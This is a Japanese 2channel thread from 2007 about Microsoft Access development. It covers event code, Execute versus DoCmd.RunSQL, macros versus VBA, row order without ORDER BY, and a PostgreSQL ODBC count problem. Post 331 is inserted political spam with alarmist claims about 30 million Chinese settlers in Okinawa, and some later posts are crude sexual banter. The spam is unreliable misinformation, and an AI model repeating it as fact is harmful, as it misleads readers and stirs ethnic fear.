まあイベントにコードを書くのは好きではあるけどねえ。GotFocus、LostFocus、Enter、Currentはあまり使わない。
だいたいはBeforeInsert,Form_Open.AfterUpdateかな?やっぱりイベントにコードはあまり書かないほうがやっぱりいいかな?

> 考えなしに非同期のDoCmd.〜やSendKeysを多用するスタイルで文句言ってるなら

うーーん、SendKeysは絶対使わないけど、DoCmdは使うな。
ほとんど、SQL文を実行させるだけなんだけど、やっぱり問題あるのか?

> 普通のフォームが安定してて、自身がコード書きまくりのフォームが不安定だというなら
> まず最初に疑うべき点はどこよw

不安定って言ってもたまに落ちるって程度なんだけど、
Access2000くらい実績あればもうちと安定してもいいのではないかと・・・・

自分の過ちを認めるのはやぶさかではないのだけど、AccessにはVer1から悩まされたから、
どうしても信用しきれないってのはあるなあ?桐なんかだとかなり無茶しても落ちたりはしないけどなあ?
だから桐がいいなんて言うつもりはないけど、複雑なシステムはAccessでは無理かなと思ったりする。




275 :NAME IS NULL:2007/04/08(日) 10:17:48 ID:???
>>274
イベントにコードを書くのはOKで、それが原因でAccessのバグがってのは
かなり少なくなっている。当然のことだが、フォーム内に記述するプロシー
ジャはPrivateな。
ダメとは言わないが、SQLの実行はExecuteメソッドに移行しましょう。Access
がバージョンアップしてるんだから、書くコードもバージョンアップさせた方
が何かと便利になる時もあるし。

> AccessにはVer1から悩まされ
オレも同じだけど、まずは自分を疑うことから始めないと。デバッグログみ
たいなのを採取できるようにして、まずはどのロジックで落ちるのかを確定
させるべき。ついでに変数の情報も出力しておくと便利だよね。

276 :NAME IS NULL:2007/04/08(日) 13:47:16 ID:???
>>275
> イベントにコードを書くのはOKで、それが原因でAccessのバグがってのは
> かなり少なくなっている。当然のことだが、フォーム内に記述するプロシー
> ジャはPrivateな。

うん、当然というかPrivateにしないやついるのかなあ?

> ダメとは言わないが、SQLの実行はExecuteメソッドに移行しましょう。Access
> がバージョンアップしてるんだから、書くコードもバージョンアップさせた方
> が何かと便利になる時もあるし。

ああ、そう言えばなんか惰性でやっていたな。気をつけよう。
http://www.accessclub.jp/bbs6/0007/das1729.html
よるとExecuteのほうが同期をとるので、おかしな結果にならないみたいですね?
もっとも、それでおかしなことになるようにはプログラムは組んでいないつもりだけど。
Executeのほうが遅いという話もあるみたいだけど、まあやってみよう。

> デバッグログみ
> たいなのを採取できるようにして、まずはどのロジックで落ちるのかを確定
> させるべき。

ログファイルを作ってどこのモジュールをいつ実行したかは記録するようにはしているから、
どこでモジュールで落ちるかはわかるけど?そのモジュールのどこで落ちたのかはわからない。

>ついでに変数の情報も出力しておくと便利だよね。

よければ、どんなふうにやっているのか教えてくれればありがたいです。




277 :NAME IS NULL:2007/04/08(日) 14:03:57 ID:rVlIyFgL
初心者質問です。
ファイルのインポートなのですが、以下のような流れをマクロで指定することは可能でしょうか?

・インポートのボタンを押す→対象のフォルダが開く→その中からインポートしたいファイルを選ぶ→インポート

マクロのワークシート変換だと、完全なパス名を指定しないといけないので行き詰りました。
VBA使わずに、どうにかできないでしょうか?

278 :NAME IS NULL:2007/04/08(日) 16:02:07 ID:???
>>277
またお前かw

その質問、自分ではみんなが忘れた頃を見計らってるつもりかもしれないけど
もういい加減みんな覚えちゃってるからw

279 :275:2007/04/08(日) 18:33:11 ID:???
>>276
初心者でたまにいるよ。フォーム内のモジュールでPublicにして、なんか
おかしいんですけどって、オマエなぁ・・・と落胆する。

モジュールがわかってるなら、プロシージャを確定させる。これがその時々
で変わるなら面倒なんだけど、とにかく力業ですな。変数情報出力にして
もファイルに出力するだけであって、特別技を使ってるわけではないです。
落ちないならDebug.Printで充分だけど、落ちるんだからファイル出力しか
ないよね。オープンして出力してクローズして、の繰り返し。


280 :NAME IS NULL:2007/04/08(日) 19:51:46 ID:???
>>276
>Executeのほうが遅いという話もあるみたい

遅いというか、Executeメソッドはその実行前にデータベースオブジェクトの生成が必須だから
その分のオーバーヘッドは当然あるよ、体感できるかどうかは微妙なところだけど。

データベースオブジェクト生成のステートメントを省略してCurrentDB.Executeにする手もあるけど、
(これはこれで楽なんだが)これはAccessが一時データベースオブジェクト生成→破棄を自動で
してくれてるだけで速度的には変化ない。

1000回とか10000回とかそれ以上の大量ループ処理の中でCurrentDB.Executeを使用すると
そのループ回数分だけ一時データベースオブジェクト生成→破棄が繰り返されることになるから
この時には体感できるだけの遅さを確認できるかも。もしかしたらこれのせいでExecuteメソッドは
遅い、という誤解が生まれてるのかもしれない。

いずれにせよその時点のメモリの空き状況やマシンの負荷具合によって実行結果が変わってくる
可能性のあるDoCmd.RunSQLは徹底排除が基本。
これだとSQL実行中にも人間はフォームに対してあれこれデータを入力できることになるから・・・

281 :NAME IS NULL:2007/04/08(日) 20:07:07 ID:???
>>279
> 初心者でたまにいるよ。フォーム内のモジュールでPublicにして、なんか
> おかしいんですけどって、オマエなぁ・・・と落胆する。

黙っていれば自然にPrivateなのにわざわざPublicにして悩んでいるのか?愉快なやつだ。

> とにかく力業ですな。変数情報出力にして
> もファイルに出力するだけであって、特別技を使ってるわけではないです。
> 落ちないならDebug.Printで充分だけど、落ちるんだからファイル出力しか
> ないよね。オープンして出力してクローズして、の繰り返し。

うーーん、確かに力技だ。それは逆に思いつかなかった。



282 :NAME IS NULL:2007/04/08(日) 20:08:52 ID:???
>>280

> いずれにせよその時点のメモリの空き状況やマシンの負荷具合によって実行結果が変わってくる
> 可能性のあるDoCmd.RunSQLは徹底排除が基本。
> これだとSQL実行中にも人間はフォームに対してあれこれデータを入力できることになるから・・・

そっか?なるほど。それはやる価値がありそうだ。ありがとう。


283 :NAME IS NULL:2007/04/08(日) 20:22:58 ID:qtpis0Wf
>>278
初めて書き込んだのですが…。
最近アクセス始めたばかりなんで。

284 :NAME IS NULL:2007/04/08(日) 20:25:31 ID:???
>>277
VBA使う気無いなら、Accessには早めに見切りつけたほうがいいよ。
どっちにしたって行き詰まるのは目に見えているから・・・・


285 :NAME IS NULL:2007/04/08(日) 20:36:49 ID:???
>>283
またお前かw

286 :279:2007/04/08(日) 21:02:31 ID:???
>>281
いや、イベントプロシージャではなくて、独自にそのフォーム内で
使うプロシージャを生成した時の話よ。

力業だが、解明するためには悩むより実行が先ってことで。

287 :NAME IS NULL:2007/04/08(日) 21:24:57 ID:qtpis0Wf
ありがとうございました。
諦めます。

288 :NAME IS NULL:2007/04/08(日) 21:37:38 ID:tf2iK2Hk
>>284
10年、VBA無しでやってきたが、2007になってVBA使い始めました。

289 :NAME IS NULL:2007/04/08(日) 21:42:12 ID:???
2007はマクロが進化してVBA不要になった
どうしてもVBAが必要なことはヤラナイが正解
無理に行うと後々後悔する

290 :NAME IS NULL:2007/04/08(日) 22:59:40 ID:???
>>289
かなり独創的な考え方だと思うけどなあ?
大半のAccessユーザーはマクロなど使わずにVBA使うと思うけど。
つうかいくら進化したってマクロだけでAccess使うなんてとても考えられない。


291 :NAME IS NULL:2007/04/08(日) 23:25:15 ID:???
マクロだけで使いたいという人には桐を薦めるよ。
自動記録できるし、日本語で記述できる。こっちのほうがずっとマクロらしい。
Accessのマクロ理解するなら、桐の一括処理理解するほうがよっぽどいいと思うけどなあ?


292 :NAME IS NULL:2007/04/09(月) 00:03:03 ID:???
俺もマクロは嫌いだ。
といってもマクロがVBAよりも下とかも言う気はない。
困るのがDoCmd.RunMacro。これ最悪。
VBAだったらエディターひとつで確認できる処理を
いちいちマクロのデザインを開いて確認するのが面倒すぎる。
さらにマクロが複数の処理をしていたら、もう追いかける気にもならないよ。

293 :NAME IS NULL:2007/04/09(月) 00:08:39 ID:???
マクロはVBAと違って変数の検索や一括置換ができないのが癌だと思ってたけど
2007では進化してんの?

294 :NAME IS NULL:2007/04/09(月) 08:40:11 ID:???
Access は、2007 からパーソナル向け商品になりますた。
ワークグループによる権限設定も出来なくなりますた。
そのかわり、マクロが進化して変数やデバッグが出来るようになりますた。

VBA による開発には向いていません。
直ぐに落ちます。
Access は年賀状印刷に使ってください。

295 :NAME IS NULL:2007/04/09(月) 08:48:44 ID:???
>>292
> 困るのがDoCmd.RunMacro
他人の書いたプログラムを追いかけているのか?
マクロをVBAに変換してから追いかけたらどうなんだ?
そのほうがずっと理解しやすいと思うけど?

>>293
> 変数の検索や一括置換
コードの記述のことを言っているのか?
それとも、配列変数を使ってデータを格納して検索したり、修正したりしている?
Accessでそんなことする必要があるとは思えないけど?


296 :NAME IS NULL:2007/04/09(月) 08:51:02 ID:???
>>294
そうか?それが本当ならいよいよAccessとおさらばする日が近づいたということだな。
ありがとうAccess。君のことは忘れないよ。ングッググ・・・・・・


297 :NAME IS NULL:2007/04/09(月) 18:30:56 ID:???
>>294
> Access は、2007 からパーソナル向け商品になりますた。

それでよりプロ向けのFoxProを日本語化してくれるなら、
そのほうがいいのだけどなあ?


298 :NAME IS NULL:2007/04/09(月) 18:36:21 ID:???
マクロだけにすれば落ちないだろうけど
だったら桐にしとけ

299 :292:2007/04/09(月) 21:00:55 ID:???
>>295

前任者が作成したもののメンテがあるもので。

>マクロをVBAに変換してから

そういえば、そんな機能があったね。
すっかり忘れていたorz

300 :NAME IS NULL:2007/04/09(月) 21:33:55 ID:???
>>298
ンダ!AccessからVBA無くしたら、桐よりはるかに落ちると思う。


301 :NAME IS NULL:2007/04/09(月) 21:43:47 ID:???
>>299
> 前任者が作成したもののメンテがあるもので。

それにしてもマクロとVBAを使い分けて使うなんて俺にはできないなあ?
つうかマクロあんまり理解できない。俺にはVBAより難しいんだよなあ?
VBAに変換して始めて「ああ、なるほどこういうことか?」って納得できる。


302 :NAME IS NULL:2007/04/09(月) 22:01:05 ID:???
>>301
そこまで考えて納得jしなくても良いようにAccessが用意しているのがマクロ
VAはAccessの都合を考慮せずに操作する

303 :NAME IS NULL:2007/04/09(月) 22:17:28 ID:???
>>295
変数だけじゃなくてVBAの記述全般で検索や一括置換ができなきゃ終わってるよ。
システムは完成したら完成じゃなくて、むしろそこからが長い格闘の始まりなんだから・・・

このテーブルのこのフィールドはどこで使ってるかとか、このユーザー定義関数は
どことどことどこで呼ばれてるかとか、そんなことを調べる必要なんていくらでも出てくる。

それに新しいDBを設計する時、自分が過去に作成した成果物を一部だけ名前を変えて
使いまわすなんてケースも結構あるし。
昔作った仕入先マスターの登録フォームを丸ごと得意先マスターの登録フォームとして
コピペして、VBAの編集画面で「仕入先」を「得意先」に一括変換してから細部をチョコチョコ
変えて作りこむだけでも、元フォームの設計が似通っていればかなり工数の削減になる。

このスレには似たような経験がある人も結構多いと思うんだが・・・

304 :NAME IS NULL:2007/04/09(月) 23:08:51 ID:???
>>302
マクロだからこそできるものもある。特殊だけど、AutoExecマクロとか。
他にもあるけど・・・使い込んで細部の動きに気を配るようになるとわか
るよ。

305 :NAME IS NULL:2007/04/09(月) 23:57:14 ID:???
他にもあるって、AutoExec以外だとAutoKeysくらいしかないだろ・・・
そのAutoKeysにしたって標準のキーアサインを捻じ曲げて別の動作に
変更しかねない諸刃の剣。

他にもっと使える実例があるなら、後学のために教えてくれ。

306 :292:2007/04/09(月) 23:58:18 ID:???
>>301,304

俺も「マクロって便利だなぁ」って素直に感心していたと思うよ。
前任者が作ったmdbがまともに動いていればね。
問題は動作を追っかけなければならないほどの、
深刻なバグがあるわけ。
前任者は幅広い知識はあったのだが、残念ながら
深さが足りなかった。
マクロとは関係ないけど、連結フォームの参照テーブルに
コマンドボタンでAddNewかましているときは
本当にびっくらこいた。

307 :NAME IS NULL:2007/04/10(火) 13:08:47 ID:???
>>304
> >>302
> マクロだからこそできるものもある。特殊だけど、AutoExecマクロとか。

別にAutoExecマクロは無くてもいいと思うけど?
ツール => 起動時の設定 => フォーム/ページ設定 で最初に開くフォームを指定すれば良い。


308 :NAME IS NULL:2007/04/10(火) 14:27:47 ID:???
>>303
> 変数だけじゃなくてVBAの記述全般で検索や一括置換ができなきゃ終わってるよ。
本当はフォームのフィールドなども検索できれば嬉しいのだけどねえ。
そういえばフォームやレポートの設定をテキストファイルに出力するってできないのかな?


309 :NAME IS NULL:2007/04/10(火) 18:38:46 ID:8pfM2XfF
>>306
後任者の問題が有るからBaseなどに変えられないんだが。

310 :NAME IS NULL:2007/04/11(水) 02:09:14 ID:???
>>305
>>307
思慮が浅い。まぁ、Access使いってその程度だな。

311 :NAME IS NULL:2007/04/11(水) 02:43:27 ID:???
>>304
Auto〜に限った話ではないんですけど、ちょっと複雑な話になるので
悪いけどパス。ごめんなさい。

>>307
最初に開くフォームを設定する場合は、確かにそれですね。
それ以外に、ユーザーやシステム・環境等が変わっても楽に対応でき
るようにiniファイルを使ってるので、その情報読み込みにAutoExecマ
クロからプロシージャコールを利用してます。
また、データを別MDBにしてるのでリンク先の自動更新もAutoExecマ
クロからプロシージャ。Accessのオプション設定なんかも。
特に最初に開くフォームでいきなりリンク先のテーブルをソースに使っ
たりしてる場合に便利。
テンプレ化みたいな感じなので、モジュールコピペもなしに使い回しが
できるので・・・という利用法です。


312 :NAME IS NULL:2007/04/11(水) 03:00:45 ID:???
>>310
お前Access使ってるからこのスレ来てるんじゃねえの?w

313 :NAME IS NULL:2007/04/11(水) 08:38:33 ID:???
>>312
自虐的ユーモアじゃないの?



314 :NAME IS NULL:2007/04/11(水) 09:00:39 ID:???
>>311
> それ以外に、ユーザーやシステム・環境等が変わっても楽に対応でき
> るようにiniファイルを使ってるので、その情報読み込みにAutoExecマ
> クロからプロシージャコールを利用してます。

起動用フォームを作って、それのForm_Open に書いてはだめ?

Form_Open の処理が終わったら、クローズさせて、
Form_Close で次に開くフォームをオープンさせているのだけど、邪道かな?


315 :NAME IS NULL:2007/04/11(水) 10:13:48 ID:dPwaZz77
>>314
俺はアホな後輩が使えるかどうかが判断基準。その程度ならVBAの参考書で十分理解出来よう。
後輩に期日までに出来ないとクビだと言って自殺されると、命じた方がクビになるそうだが、参考書に書いているレベルなら問題無かろう。

316 :NAME IS NULL:2007/04/11(水) 13:39:42 ID:???
>>315
> 後輩に期日までに出来ないとクビだと言って自殺されると、命じた方がクビになるそうだが

そんなことで自殺するヤツがいるのか?俺なんか何回死んでいるかなあ?
きっと地獄の底に沈んでいるなあ。


317 :NAME IS NULL:2007/04/11(水) 13:42:32 ID:???
>>316
【社会】 「宿題を出さないと即留年」 女子学生を自殺に追い込んだとして、高崎経済大准教授を懲戒免職★7
http://news22.2ch.net/test/read.cgi/newsplus/1176250647/l50

こんな感じじゃね?www


318 :NAME IS NULL:2007/04/11(水) 23:31:05 ID:???
どうにも論点のすり替えが激しいな・・・。

AutoExecに代表される予約語マクロが使えるかどうかって問題と、システム全体の
プログラミングに通常マクロを使うのがいいか悪いかってのはまるで別の問題だろ。

マクロは百害あって一利なし、なんて言うつもりはないけど(俺もAutoExecは使ってるしなw)
一利あるけど百害もある、って結論でFA?

319 :NAME IS NULL:2007/04/12(木) 00:35:11 ID:???
>>318
まあ、別にそれでもいいけど、いっそのことマクロなんか無くしてしまったほうがすっきりしないか?
ExcelやWordのマクロはVBAなんだから、それでもいいと思うのだけどなあ?
なんだか、蛇足って感じがいつもする。


320 :311:2007/04/12(木) 01:38:07 ID:???
>>314
それでグーだと思います。
うちの場合(って、もう辞めた会社だけど)、人手不足でAccess触ったこと
ない・知ってると言いつつレベル低という技術者を扱って短期間で仕上げ
るために、いろいろ細工した結果です。
参考書読んだって理解しないだろうし、理解するまで待ってられないので。
フォームを閉じて前回のフォームに戻るってのも意識させずに、ぐらいの
考え(実際、OpenArg使ってそうしてました)で作ってました。

321 :NAME IS NULL:2007/04/12(木) 01:49:52 ID:8+USWxNn
フォルダ構成やクエリ名が完璧に固定されていればマクロも良いかも知れない
マクロ自体がウィザードと動作ガイドを兼ねているから引継ぎが楽

最近内部監査がうるさいせいでマクロ、VBA系は嫌になってきた
エンドユーザーが作ったものなんてそうそう固定出来る物じゃないのに
ある時点で処理の流れを証明して、メンテの手法まで確立させなければならない、
おまけにその後保護をかけなければならない、なんてやってられるか。
わざわざ時間をかけて作った上、そんな面倒を押し付けられるくらいならこの先は電卓でやらせるよ。
あれってデータが何百万件あろうと「パソコンで集計」よりも「電卓で検算」の方が説得力を持つ不思議な規制だしな

322 :NAME IS NULL:2007/04/12(木) 08:39:13 ID:???
起動時にコマンドラインで引数指定でマクロ選択できるから、
それだけは使ってる。結構便利。

323 :NAME IS NULL:2007/04/12(木) 14:26:58 ID:???
>>322
それは始めて知った。それはいいな。使ってみよう。


324 :NAME IS NULL:2007/04/16(月) 21:51:00 ID:rRxbxqTV
なんでも記入欄(テキスト)に記入があるもの、ないものがあるんですが、
それを文字が入ってるものだけ、全部表示の2パターン抽出したいんだけど
、どうすればいいですか?
like文だと文字が入ったものしか出てきません・・・・


325 :NAME IS NULL:2007/04/16(月) 21:52:52 ID:???
ハングルは理解できない

326 :NAME IS NULL:2007/04/16(月) 22:29:47 ID:???
>>324

「Like "*"」が抽出条件のものと
抽出条件なしのものを作ればいいんじゃね?
フォームとかだったら、RecordSource変えればいいだけだし。

327 :NAME IS NULL:2007/04/16(月) 22:41:32 ID:???
ISNULL関数、NZ関数あたりと、
NULLIF関数、COALESCE関数>標準SQLだけどACCESSにあったかな

328 :NAME IS NULL:2007/04/17(火) 00:44:20 ID:???
>>324
UNION ALL

329 :NAME IS NULL:2007/04/18(水) 21:33:08 ID:87MLcaKH
>>326
できたよ!ありがとう

330 :seek派:2007/04/19(木) 02:29:15 ID:UKsp6QK8
ACCESSの seek文 お手軽なんですがね。
重複クエリとか ほかにもお手軽なのごろついてるのが ACCESS。
これぐらいの気持ちで 付き合うのがいいのでは?

331 :NAME IS NULL:2007/04/19(木) 02:56:37 ID:t6zpfEbx
沖縄県の方へ(命に関わる注意事項です)

沖縄県での選挙ですが、どうか民主党だけは避けてください。県民の生命に関わる可能性があります。
民主党の最大の公約は一国二制度(※)ですが、一度「一国二制度 沖縄」等で検索をお願いします。
この際、民主党のHPで調べても良いです。以下の注釈↓と矛盾することは書いてないはずですから…

※一国二制度
 簡単に言えば沖縄を中国と日本の共有物にし、そこに3000万人の中国人を入植させます。
 (つまり沖縄人口の 96% を中国人にして、実質、沖縄を中国人の居住地とします。)
 さらに「自主」の名の下、沖縄で有事が起きても自衛隊は干渉できません。
 3000万人の中国人が、少数派となった130万人の日本人に何をしても、です。
 そして中国人の反日感情の強さは、ほとんどの日本人の理解を超えるものです。

今回の選挙で民主党が勝った場合、「自主」「発展」を連呼しつつ段階的に進めていくことになります。
自主と言っても、自主を認めるのが「住人の96%が中国人となった」後だということに気をつけてください。
発展と言っても、新沖縄の少数派となった「少数民族日本人」の発展ではないことに気をつけてください。

332 :NAME IS NULL:2007/04/19(木) 11:43:41 ID:???
最近どうも俺は日本語が理解できなくなったらしい。
>お手軽なのごろついてる
>これぐらいの気持ちで 付き合うのがいいのでは?
何回読んでも意味がわからないのだが?だれか説明してくれ?



333 :NAME IS NULL:2007/04/19(木) 11:49:52 ID:???
>>332
>お手軽なSEもどきがごろついている
>ACCESSなんざEXCELの亜種ぐらいの気持ちで 付き合うのがいいのでは?

334 :NAME IS NULL:2007/04/19(木) 12:30:33 ID:TvTZ7EFh
Excel使いこなすにはノーベル賞取るレベルが必要だが、ACCESSは老若男女誰でも使える大衆的なソフトです。

335 :NAME IS NULL:2007/04/19(木) 12:49:43 ID:sDsZifAs
バカ!逆だろ! 

エクセルは利便性に富み、大衆的なソフトだけど、
使えないアクセスで、あっと言わせるくらい使えるようにするのが大変なんだ!

336 :NAME IS NULL:2007/04/19(木) 14:52:56 ID:???
急遽、レガシーなシステムのメンテをしなくちゃいけなくなったものです。
ご存知の方がいましたらご教授ください。

ACCESS97からACCESS2000にシステムをバージョンアップさせたのですが、
SELECTの出力に違いが出ていて原因を調べろと言われました。
ORDER BYで指定をしていない部分の並び順が、「出力ごとに変わるようになったのはなぜか?」だそうです。

正直、ORDER BYかけてないなら並び順は不定で当たり前だと思うのですが、
97では同じ並び順だったのに2000では変わるようになったのをお客さんに納得してもらうソースが欲しいということみたいです。

単純に検索だけしたってそんなの出てこねーってorz

337 :NAME IS NULL:2007/04/19(木) 16:55:19 ID:sX45/QDZ
Access2003とSQLServer2005 Standardで業務システムを構築することになりました。
そこで、質問があります。
@.Accessでマクロは使わず、VBAでDoCmdステートメントを使った方が良いでしょうか?
A.両者の接続は、OLEプロバイダを使い操作はADOで行こうと思っているのですが、
 トランザクション処理を考えた場合、DoCmdでのデータ保存は禁止にした方が良いのでしょうか?

なにせ初心者なものですから、質問に矛盾がどざいましたらお許し下さい。
教えて下さい、よろしくお願いします。m(__)m


338 :337:2007/04/19(木) 16:57:34 ID:sX45/QDZ
すみません補足です。
お察しでしょうが、クライアントがAccessで、サーバーがSQLServerです
SPやトリガは今のところは使わない(使えない)予定です。

よろしくお願い致します。

339 :NAME IS NULL:2007/04/19(木) 17:49:45 ID:???
>>336
> ORDER BYで指定をしていない部分の並び順が、「出力ごとに変わるようになったのはなぜか?」だそうです。
> 97では同じ並び順だったのに

何の並び順のこと?
五十音順? 身長順? 生年月日順?

ただ並び順って言っても意味通じないから、日本語で頼む

340 :NAME IS NULL:2007/04/19(木) 19:36:44 ID:???
ExcelとAccessはまったく別のソフト。
Accessはマイクロソフトとはまったく違う会社が作って
マイクロソフトに売ったもの。
もともとExcelとは少しも似てない。
オフィスとしてまとめて売ること自体、どうかと思う。


341 :336:2007/04/19(木) 21:32:17 ID:???
ソートをかけたいフィールドじゃないので、「並び順」じゃなかったですね。
「出力順」とでも言うのでしょうか。

たとえば、フィールドが二つある出力レコードだとして、一つ目のフィールドのみORDER BYでソートをかけているような状態です。

【97のとき】(何回実行しても同じ)
第1F | 第2F
-------------
 A  | 1
 A  | 3
 A  | 2
 B  | 1
 B  | 3
 B  | 2

【2000のとき】(1回目)
第1F | 第2F
-------------
 A  | 3
 A  | 1
 A  | 2
 B  | 1
 B  | 2
 B  | 3

【2000のとき】(2回目)
第1F | 第2F
-------------
 A  | 1
 A  | 2
 A  | 3
 B  | 2
 B  | 1
 B  | 3

第1フィールドでは当然ソートがかかるのですが、第2フィールドの順番がSELECTを実行するごとに入れ替わります。
(変わらない部分もあれば変わる部分もあるという状態です)
97では何度実行しようが出力されてくるデータの順番が変わらないのですが、2000は毎回どこかが変わるわけです。

97から2000への改修でシステムのロジックは変更していませんし、他のSELECTの条件に実行回数や時系列によって変化しうる条件もないのです。
ぐぐろうにもどんなキーワードで検索すればいいのよorzといった状態でして。

説明そのものより、対策の方を考えたほうが早く解決しそうですよね・・・。

342 :NAME IS NULL:2007/04/19(木) 21:37:14 ID:???
桐にしとけば良いよ、最初から論理レコード番号あるから、そういう問題は生じないよ。

343 :NAME IS NULL:2007/04/19(木) 22:13:37 ID:???
>>341
マイクロソフトに聞いたところ、内部の仕様変更が原因だがどう変わったかは社外に教えられないし、
もともとたまたま同じ並び順になっていただけで、そんな保証はしてないと言われた。

と答えとき。嘘も方便じゃ。そしてたぶんそういうことだと思う。


344 :NAME IS NULL:2007/04/20(金) 00:41:30 ID:???
97→2000は大幅な仕様変更があったからね。
343氏の言うとおりにしておけばいいよ。
そもそも97で作ったものが2000でまともに動くのなら、
336の出番はないわけだし。



345 :NAME IS NULL:2007/04/20(金) 00:58:15 ID:???
ちょっと詳しい人がいたら
「今までたまたま動いてたけど、元々バグがあったわけだな」とか言われそうだ

346 :NAME IS NULL:2007/04/20(金) 11:27:50 ID:w42G9Ey6
>>344
97ではUnicodeが扱えず、2000から扱えるようになった。それが並び替えの問題に影響が有るのかな。
俺のACCESSはドイツ語やスペイン語と日本語が混在するからUnicodeでないと困るんだ。

347 :336:2007/04/20(金) 12:45:09 ID:???
レスサンクスです。

一夜明けて新展開が。

「毎回同じ並びになるように改修」という方向で作業が進みそうです。
といっても、既存のSQL文のORDER BYにフィールドを一つ追加するだけですが。

もともとシステム自体は並び順が変わっても問題ない作りなんですよ。
仕様上、ソートされていないといけないのは>>341の例だと第1フィールドだけなので。
しかし、最終的にファイル出力されるものなので、ファイルの管理上「同じデータならまったく同じファイルにならないと困る」ということらしいです。
(ファイル管理はこのシステムとは別のタスクで、お客さん自身が担当している部分なんです)

ちなみに、本当に「具体的なソース」を提示しないといけない展開になっていたらマイクロソフトへの質問をすることは考えていました。
ただ、経費というか会社の資源を消費することになるので、事前に公式なんかがすでに公開していないか調べてからじゃないとなかなか許可が下りないんですよね。
必要な作業とはいえ、今回は参った(笑


何かの参考になるかもしれないので最後に補足。
問題のSELECT文はJOINで結合をかけています。

こういう事例もあるということで、このログがいつの日か誰かの役に立ちますように。ノシ

348 :NAME IS NULL:2007/04/20(金) 19:47:35 ID:???
っていうかさ、

RDBでデータの並び順が保証されてないのは常識じゃね?

並び順を保証したければ、ORDER BY付けるの常識じゃね?

そんなことも知らないの?

349 :NAME IS NULL:2007/04/20(金) 20:56:08 ID:???
>>348

>正直、ORDER BYかけてないなら並び順は不定で当たり前だと思うのですが、
>97では同じ並び順だったのに2000では変わるようになったのをお客さんに納得してもらうソースが欲しいということみたいです。

もともとこういう話だったのだよ。条件反射的に偉そうなレスをつけるのってカッコ悪いと思わないか?


350 :NAME IS NULL:2007/04/20(金) 20:57:59 ID:???
>>348
カコワルイ!!

351 :NAME IS NULL:2007/04/20(金) 22:27:08 ID:???
はぁ?わざわざ上のレスなんか読むほど暇じゃねーよw

352 :NAME IS NULL:2007/04/20(金) 22:29:25 ID:???
カコワルイ!!x2

353 :NAME IS NULL:2007/04/20(金) 22:37:27 ID:???
テーブル作成クエリを実行するたびに
テーブル作っていい?と聞いてくるのですが
表示しない方法はありますか?

354 :NAME IS NULL:2007/04/20(金) 22:37:39 ID:???
そんな常識を説明するのにソースがいるのかよ・・・

話し方教室とか通った方がいいんじゃねぇの?

355 :NAME IS NULL:2007/04/20(金) 22:39:48 ID:???
>>353
あります。

356 :NAME IS NULL:2007/04/20(金) 23:09:26 ID:???
>>351
暇でもないのに2ちゃんにレスしているのね。
気の毒に・・・・・いい病院紹介しようか?


357 :NAME IS NULL:2007/04/20(金) 23:51:45 ID:???
そういやそもそもSQL共通の文法とかDBがDBであるための要件とか、
どこの誰がいつ決めたんだろうな

358 :NAME IS NULL:2007/04/20(金) 23:56:55 ID:???
>>353
Application.Echo False
DoCmd.SetWarnings False

えーーーーと、どっちかではなかったかな?


359 :NAME IS NULL:2007/04/20(金) 23:59:57 ID:???
このスレの200あたりで決まった

360 :353:2007/04/21(土) 15:11:31 ID:???
>>358

DoCmd.SetWarnings False

こちらでできました
快適です。ありがとうございました

361 :NAME IS NULL:2007/04/22(日) 14:57:04 ID:???
>>357
コッド博士という方です。

362 :NAME IS NULL:2007/04/22(日) 18:09:21 ID:cufCDww6
ver.2002を使っていて、Functionプロシージャを作っています。

「T出勤」テーブルに 「担当」、「日付」、「出欠」フィールドがあって、
Syukkinnという「日付」のレコードセットをADOで検索しようとしたところ、
いくつかあるプロシージャのうち、

rs.Find "日付 =" & Syukkin
で検索できるものと、

rs.Find "日付 = #" & Syukkin & "#"
にしないと検索してくれないものがあります。

両プロシージャとも、変数の宣言は同じにしてあって、違いは検索の前に「担当者」
でSortまたはFilterしているか(前者)、していないか(後者)なんですが、
この違いはどうして起こるんでしょうか?

363 :NAME IS NULL:2007/04/22(日) 21:02:01 ID:???
だまって #m/d/yyyy# にフォーマットしろ

364 :NAME IS NULL:2007/04/26(木) 17:18:44 ID:???
Access VBAからPostgresqlへの接続について質問です。

下記のようなVBAを作ってみましたが、countフィールドが全て0になってしまいます。
同じSQLをパススルークエリで実行するとちゃんと集計してくれます。
何か接続方法の違いの気がしますが、色々調べてみてもよくわかりません。
ご助言をよろしくお願いします。

Function func_sample()

Dim strConnect As String
Dim adoConnection As Object
Dim adoRS As Object

strConnect = "DRIVER={PostgreSQL ANSI};DATABASE=xxx;SERVER=xxx;PORT=xxx;UID=xxx;PWD=;"

Set adoConnection = CreateObject("ADODB.Connection")
adoConnection.Open strConnect
Set adoRS = adoConnection.Execute("SELECT id, Count(id) as count FROM table Group BY id ORDER BY count DESC")
・・・・・続く

Acccess2007、Postgresql8.1、ODBCドライバ8.02.03です。


365 :NAME IS NULL:2007/04/26(木) 18:55:55 ID:???
postgres知らんけど、とりあえず予約語臭いのを使うの止めようよ…。

366 :364:2007/04/27(金) 00:42:21 ID:???
countのことでしょうか。試しに変更してみましたが、改善しませんでした。
引き続きよろしくお願いします!

367 :NAME IS NULL:2007/04/27(金) 01:19:16 ID:???
SELECT SELECT AS AS FROM FROM WHERE WHERE ORDER BY ORDER, BY

368 :NAME IS NULL:2007/04/27(金) 02:45:54 ID:???
俺もpostgres知らんけど

Execute でいいのか
いや、まあ、そうだっていうならきっとそうなんだろうけど
Open だったりはしないのか

369 :NAME IS NULL:2007/04/27(金) 09:53:36 ID:???

まああれだ、とりあえずキミの金玉の大きさを言いなさい

370 :NAME IS NULL:2007/04/27(金) 11:50:59 ID:???
口に含んで息苦しくない程度

371 :NAME IS NULL:2007/04/27(金) 13:26:53 ID:???

もう少し大きくしないと浴場で笑われるぞ ァ '`,、'`,、'`,、'`,、(´▽`) '`,、'`,、'`,、'`,、

玉トレを汁!

372 :364:2007/04/27(金) 13:54:07 ID:???
人少ないと思ってたら、下ネタに食いつくのですねw。

すいません。やっぱりcountだったくさいです。

AS句は削除しましたが、countという関数名は言い換えできないのですが、
引用符内でcount(*)と書くのは一般的に間違いなのでしょうか。
また、エスケープする方法はあるでしょうか。


373 :NAME IS NULL:2007/04/27(金) 17:54:11 ID:???

金玉をやさしく50回撫でろ、それで解決だ

374 :364:2007/04/27(金) 22:03:20 ID:???
解決しました。ありがとうございました。

僕の環境だけかもしれませんが、countの戻り値はint8のようで、
これがodbcまで正常に返ってきていたのですが、VBで取り扱えない
ことが原因のようでした。

予めSQLでint4にcastするか、または、ODBCの設定でint4にするオプションを
つけることで解決しました。


